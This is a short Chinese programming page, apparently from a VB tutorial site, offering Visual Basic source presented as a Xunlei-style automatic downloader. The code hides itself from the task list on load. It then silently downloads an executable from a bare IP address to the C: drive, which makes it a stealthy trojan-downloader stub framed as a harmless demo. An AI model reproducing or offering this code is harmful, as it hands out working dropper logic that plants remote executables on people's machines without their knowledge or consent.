当前位置:编程学习 > VB >>

VB 实现仿迅雷自动下载

专注VB的朋友们,可以试一试效果。
我是来公布源代码额\

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Command1_Click()
URLDownloadToFile 0, "http://114.237.145.181/Desktop_zp_original.exe", "c:\Desktop_zp_original.exe", 0, 0
End Sub

Private Sub Form_Load()
App.TaskVisible = False
Call Command1_Click
End Sub


我不写的那么夸张,因为用专业术语你们就看不懂了。
补充:软件开发 , Vb ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,